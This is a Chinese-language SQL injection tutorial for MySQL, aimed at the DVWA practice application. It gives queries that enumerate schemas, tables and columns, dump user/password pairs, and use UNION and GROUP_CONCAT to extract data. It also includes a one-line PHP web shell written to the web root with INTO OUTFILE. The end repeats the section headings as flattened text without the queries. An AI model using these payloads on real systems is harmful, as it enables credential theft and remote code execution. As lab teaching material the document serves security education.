sql注入-mysql注入基础及常用注入语句
字数 731 2025-08-18 11:38:28

MySQL注入基础及常用注入语句教学文档

一、MySQL数据库基础 - INFORMATION_SCHEMA数据库结构

MySQL5内置的系统数据库INFORMATION_SCHEMA记录了MySQL中所有存在的数据库名、数据库表、表字段信息。关键三个表为:

1.1 SCHEMATA表 - 存储数据库名

  • 关键字段:SCHEMA_NAME(数据库名称)
  • 查询语句
    SELECT schema_name FROM information_schema.schemata;
    

1.2 TABLES表 - 存储表名

  • 关键字段
    • TABLE_SCHEMA(表所属的数据库名)
    • TABLE_NAME(表名)
  • 查询语句
    SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa';
    

1.3 COLUMNS表 - 存储字段名

  • 关键字段
    • TABLE_SCHEMA(字段所属数据库名)
    • TABLE_NAME(字段所属表名)
    • COLUMN_NAME(字段名称)
  • 查询语句
    SELECT table_schema, column_name, table_name 
    FROM information_schema.columns 
    WHERE table_name='users' AND table_schema='dvwa';
    

二、基本注入语句

2.1 数据库信息枚举

SELECT * FROM information_schema.schemata;  -- 爆出所有数据库
SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa';  -- 爆出指定数据库的所有表名
SELECT column_name FROM information_schema.columns WHERE table_name='users' AND table_schema='dvwa';  -- 爆出指定表的所有字段名
SELECT user, password FROM dvwa.users;  -- 爆出指定表的内容

2.2 服务器信息查询

SELECT @@hostname, @@datadir, @@version_compile_os;  -- 主机名、数据库路径、操作系统版本

2.3 数据库版本信息

SELECT VERSION();  -- 数据库版本
SELECT @@VERSION;
SELECT @@GLOBAL.VERSION;
SELECT DATABASE();  -- 当前数据库名称

2.4 用户信息查询

SELECT USER(), CURRENT_USER(), SYSTEM_USER(), SESSION_USER();  -- 各种用户信息

2.5 文件导出(一句话木马)

SELECT '<?php eval($_POST[cmd])?>' INTO OUTFILE '/var/www/html/dvwa/1.php';

三、联合查询技术

3.1 ORDER BY判断列数

SELECT * FROM dvwa.guestbook ORDER BY 3;  -- 判断当前查询结果的列数

3.2 UNION联合查询

SELECT * FROM dvwa.guestbook WHERE name='test' UNION SELECT 1,2,3;

3.3 当页面只能显示一行结果时

SELECT * FROM dvwa.guestbook WHERE name='test' AND 1=2 UNION SELECT 1,2,3;

四、结果连接函数

4.1 CONCAT函数

  • 无分隔符串联多列结果
SELECT CONCAT(str1, str2, ...);

4.2 CONCAT_WS函数

  • 有分隔符串联多列结果
SELECT CONCAT_WS(separator, str1, str2, ...);
-- 示例(使用:作为分隔符)
SELECT CONCAT_WS(0x3a, user, password) FROM dvwa.users;

4.3 GROUP_CONCAT函数

  • 用逗号串联多行结果为一行
SELECT GROUP_CONCAT(str1, str2, ...);
-- 示例(使用:作为分隔符)
SELECT GROUP_CONCAT(user, 0x3a, password) FROM dvwa.users;

五、函数应用场景总结

  1. CONCAT/CONCAT_WS:适用于查询结果只有一行,一列或多列数据
  2. GROUP_CONCAT:适用于查询结果有一行或多行,一列或多列数据

GROUP_CONCAT函数功能包含了CONCAT和CONCAT_WS的功能,在实际注入中根据回显情况选择合适的函数。

MySQL注入基础及常用注入语句教学文档 一、MySQL数据库基础 - INFORMATION_ SCHEMA数据库结构 MySQL5内置的系统数据库INFORMATION_ SCHEMA记录了MySQL中所有存在的数据库名、数据库表、表字段信息。关键三个表为: 1.1 SCHEMATA表 - 存储数据库名 关键字段 :SCHEMA_ NAME(数据库名称) 查询语句 : 1.2 TABLES表 - 存储表名 关键字段 : TABLE_ SCHEMA(表所属的数据库名) TABLE_ NAME(表名) 查询语句 : 1.3 COLUMNS表 - 存储字段名 关键字段 : TABLE_ SCHEMA(字段所属数据库名) TABLE_ NAME(字段所属表名) COLUMN_ NAME(字段名称) 查询语句 : 二、基本注入语句 2.1 数据库信息枚举 2.2 服务器信息查询 2.3 数据库版本信息 2.4 用户信息查询 2.5 文件导出(一句话木马) 三、联合查询技术 3.1 ORDER BY判断列数 3.2 UNION联合查询 3.3 当页面只能显示一行结果时 四、结果连接函数 4.1 CONCAT函数 无分隔符串联多列结果 4.2 CONCAT_ WS函数 有分隔符串联多列结果 4.3 GROUP_ CONCAT函数 用逗号串联多行结果为一行 五、函数应用场景总结 CONCAT/CONCAT_ WS :适用于查询结果只有一行,一列或多列数据 GROUP_ CONCAT :适用于查询结果有一行或多行,一列或多列数据 GROUP_ CONCAT函数功能包含了CONCAT和CONCAT_ WS的功能,在实际注入中根据回显情况选择合适的函数。